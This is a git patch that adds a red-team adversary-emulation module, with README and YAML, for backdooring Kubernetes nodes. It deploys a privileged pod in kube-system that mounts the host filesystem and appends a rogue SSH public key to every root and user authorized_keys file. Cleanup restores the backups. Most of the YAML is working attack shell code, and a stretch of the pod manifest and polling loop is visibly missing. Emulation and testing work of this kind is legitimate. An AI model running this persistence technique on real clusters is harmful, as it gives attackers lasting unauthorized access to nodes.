From fd5a924940e15f20ec1df05226ed1104fa9467e7 Mon Sep 17 00:00:00 2001 From: Jayson Grace Date: Fri, 23 Aug 2024 08:29:21 -0700 Subject: [PATCH] Added TTP to backdoor Kubernetes nodes with rogue SSH keys for persistence Summary: **Added:** - Created `backdoor-k8s-nodes-authorized-keys.yaml` TTP to inject rogue SSH keys into Kubernetes nodes - Added steps for deploying a privileged pod to modify `authorized_keys` files on all nodes - Included cleanup logic to restore original `authorized_keys` files after the attack - Created a detailed `README.md` explaining arguments, requirements, and usage examples **Changed:** - Updated `extract-k8s-secrets/README.md` with correct example command for running TTP Differential Revision: D61690546 --- .../README.md | 87 ++++++++ .../backdoor-k8s-nodes-authorized-keys.yaml | 196 ++++++++++++++++++ 2 files changed, 283 insertions(+) create mode 100644 ttps/persistence/containers/k8s/backdoor-k8s-nodes-authorized-keys/README.md create mode 100644 ttps/persistence/containers/k8s/backdoor-k8s-nodes-authorized-keys/backdoor-k8s-nodes-authorized-keys.yaml diff --git a/ttps/persistence/containers/k8s/backdoor-k8s-nodes-authorized-keys/README.md b/ttps/persistence/containers/k8s/backdoor-k8s-nodes-authorized-keys/README.md new file mode 100644 index 0000000..b7b98bd --- /dev/null +++ b/ttps/persistence/containers/k8s/backdoor-k8s-nodes-authorized-keys/README.md @@ -0,0 +1,87 @@ +# Backdoor Kubernetes Nodes with Authorized Keys + +![Meta TTP](https://img.shields.io/badge/Meta_TTP-blue) + +This TTP adds a rogue public SSH key to the `authorized_keys` file on all Kubernetes +nodes to maintain persistence. It assumes access to a Kubernetes cluster with the +ability to execute commands on the nodes. The TTP makes a backup of the original +`authorized_keys` file before overwriting it and restores it during cleanup. + +## Arguments + +- **artifacts_dir**: The directory to store the downloaded tools. + + Default: /tmp + +- **eks_cluster**: Indicates if the target Kubernetes cluster is running on EKS. + + Default: true + +- **rogue_key**: The rogue public SSH key to be added to the `authorized_keys` file. + +- **ssh_authorized_keys**: Path to the `authorized_keys` file. + + Default: `$HOME/.ssh/authorized_keys` + +- **target_cluster**: The name of the target Kubernetes cluster. + +- **target_ns**: The namespace for deploying the privileged pod. + + Default: kube-system + +- **target_region**: The region where the target cluster is located. + + Default: us-east-1 + +## Requirements + +1. Kubernetes cluster with access to run privileged commands and modify files on + the nodes. +1. `kubectl` installed and configured to interact with the target cluster. + +### EKS + +1. A valid set of AWS credentials. They can be provided through environment variables: + + - `AWS_ACCESS_KEY_ID` + - `AWS_SECRET_ACCESS_KEY` + - `AWS_SESSION_TOKEN` + + OR: + + - `AWS_PROFILE` + +1. The AWS CLI is installed. +1. The system should have `python3`, `pip3`, and `git` installed. + +## Examples + +You can run the TTP using the following command (adjust arguments as needed): + +```bash +ttpforge run forgearmory//persistence/containers/k8s/backdoor-k8s-nodes-authorized-keys/backdoor-k8s-nodes-authorized-keys.yaml \ + --arg rogue_key="ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGXY7PWSZ7QafZ5LsBxGVtAcAwn706dJENP1jXlX3fVa Test public key" \ + --arg target_cluster=YOUR-CLUSTER-NAME +``` + +## Steps + +1. **aws_connector**: Validates and sets up the AWS environment (if targeting an + EKS cluster). +1. **setup_kubeconfig_for_eks**: Sets up kubeconfig for EKS cluster (if targeting an + EKS cluster). +1. **create_privileged_pod_manifest**: Creates a privileged pod manifest for executing + commands on the nodes. +1. **deploy_privileged_pod**: Deploys the privileged pod in the target namespace. +1. **modify_authorized_keys_on_nodes**: Backs up and modifies the `authorized_keys` + file on all Kubernetes nodes, adding the rogue SSH key. +1. **cleanup**: Restores the original `authorized_keys` files and deletes the + privileged pod. + +## MITRE ATT&CK Mapping + +- **Tactics**: + - TA0003 Persistence +- **Techniques**: + - T1078 Valid Accounts + diff --git a/ttps/persistence/containers/k8s/backdoor-k8s-nodes-authorized-keys/backdoor-k8s-nodes-authorized-keys.yaml b/ttps/persistence/containers/k8s/backdoor-k8s-nodes-authorized-keys/backdoor-k8s-nodes-authorized-keys.yaml new file mode 100644 index 0000000..9231f7d --- /dev/null +++ b/ttps/persistence/containers/k8s/backdoor-k8s-nodes-authorized-keys/backdoor-k8s-nodes-authorized-keys.yaml @@ -0,0 +1,196 @@ +--- +api_version: 2.0 +uuid: 65a544be-d51e-416f-abc6-00e56c6bc911 +name: backdoor_k8s_nodes_authorized_keys +description: | + This TTP adds a rogue public SSH key to the `authorized_keys` file on all Kubernetes nodes to maintain persistence. + It assumes access to a Kubernetes cluster with the ability to execute commands on the nodes. The TTP makes a backup of the original `authorized_keys` file before overwriting it and restores it during the cleanup. +args: + - name: artifacts_dir + description: The directory to store the downloaded tools. + default: /tmp + - name: eks_cluster + description: Target Kubernetes cluster is running on EKS. + default: true + - name: rogue_key + description: "The rogue public SSH key to be added" + - name: ssh_authorized_keys + default: "$HOME/.ssh/authorized_keys" + - name: target_cluster + description: The target Kubernetes cluster name. + - name: target_ns + description: The target namespace for deploying the privileged pod. + default: kube-system + - name: target_region + description: The region where the target cluster is located. + default: us-east-1 +requirements: + platforms: + - os: linux + - os: darwin +mitre: + tactics: + - TA0003 Persistence + techniques: + - T1078 Valid Accounts + +steps: + {{ if .Args.eks_cluster }} + - name: aws_connector + description: This step invokes the setup_cloud_env action. + ttp: //helpers/cloud/aws/validate-aws-env-configured.yaml + args: + region: "{{ .Args.target_region }}" + + - name: setup_kubeconfig_for_eks + description: Set up kubeconfig for EKS cluster. + ttp: //helpers/containers/k8s/setup-kubeconfig-for-eks.yaml + args: + cluster_name: "{{ .Args.target_cluster }}" + cluster_region: "{{ .Args.target_region }}" + {{ end }} + + - name: create_privileged_pod_manifest + description: Create the manifest for a privileged pod to run commands on the nodes. + inline: | + cat > {{ .Args.artifacts_dir }}/privileged_pod.yaml </dev/null) + if [[ -z "$POD_STATUS" ]]; then + echo "Privileged pod not found. Waiting for it to appear..." + else + POD_PHASE=$(kubectl get pod privileged-pod -n {{ .Args.target_ns }} -o jsonpath='{.status.phase}' 2>/dev/null) + if [[ "$POD_PHASE" == "Running" ]]; then + echo "Privileged pod is running." + break + else + echo "Waiting for privileged pod to be running... Current phase: $POD_PHASE" + fi + fi + sleep 5 + done + + POD_NAME="privileged-pod" + + kubectl exec -n {{ .Args.target_ns }} $POD_NAME -- /bin/sh -c ' + if [ -d /host ]; then + echo "Success: Host file system is mounted at /host." + + for user_home in /host/root /host/home/*; do + if [ -d "$user_home/.ssh" ]; then + AUTHORIZED_KEYS_PATH="$user_home/.ssh/authorized_keys" + echo "Checking authorized_keys at $AUTHORIZED_KEYS_PATH..." + if [ -f "$AUTHORIZED_KEYS_PATH" ]; then + echo "Found authorized_keys at $AUTHORIZED_KEYS_PATH" + cp "$AUTHORIZED_KEYS_PATH" "$AUTHORIZED_KEYS_PATH.bak" || true + echo "{{ .Args.rogue_key }}" >> "$AUTHORIZED_KEYS_PATH" || true + echo "Rogue key added to $AUTHORIZED_KEYS_PATH" + else + echo "Warning: authorized_keys not found at $AUTHORIZED_KEYS_PATH" + fi + else + echo "No .ssh directory found at $user_home, skipping..." + fi + done + else + echo "Failure: Host file system is not mounted at /host." + exit 1 + fi + ' + cleanup: + inline: | + # Check if the pod still exists before trying to clean up + POD_STATUS=$(kubectl get pod privileged-pod -n {{ .Args.target_ns }} --no-headers 2>/dev/null) + if [[ -n "$POD_STATUS" ]]; then + echo "Restoring original authorized_keys files..." + kubectl exec -n {{ .Args.target_ns }} privileged-pod -- /bin/sh -c ' + if [ -d /host ]; then + echo "Restoring keys on host:" + for user_home in /host/root /host/home/*; do + if [ -d "$user_home/.ssh" ]; then + AUTHORIZED_KEYS_PATH="$user_home/.ssh/authorized_keys" + if [ -f "$AUTHORIZED_KEYS_PATH.bak" ]; then + cp "$AUTHORIZED_KEYS_PATH.bak" "$AUTHORIZED_KEYS_PATH" || true + rm "$AUTHORIZED_KEYS_PATH.bak" || true + echo "Restored authorized_keys at $AUTHORIZED_KEYS_PATH" + else + echo "Warning: backup file not found at $AUTHORIZED_KEYS_PATH.bak" + fi + else + echo "No .ssh directory found at $user_home, skipping..." + fi + done + else + echo "Failure: Host file system is not mounted at /host." + fi + ' + else + echo "Privileged pod no longer exists. Skipping cleanup of authorized_keys." + fi + echo "Cleanup done!"